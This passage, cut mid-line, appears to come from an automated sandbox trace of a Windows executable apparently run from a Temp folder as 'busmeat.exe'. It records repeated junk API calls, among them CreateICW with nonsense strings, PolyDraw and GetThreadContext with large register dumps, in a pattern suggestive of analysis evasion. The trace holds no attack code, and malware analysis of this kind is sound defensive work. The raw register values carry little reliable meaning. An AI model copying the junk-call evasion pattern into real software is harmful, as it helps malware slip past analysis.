[425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.076] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.077] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.077] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.077] GetConsoleCP () returned 0x0
	[0066.077] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.077] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.078] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.078] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.078] GetConsoleCP () returned 0x0
	[0066.078] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.079] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.080] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.080] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.080] GetConsoleCP () returned 0x0
	[0066.080] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, 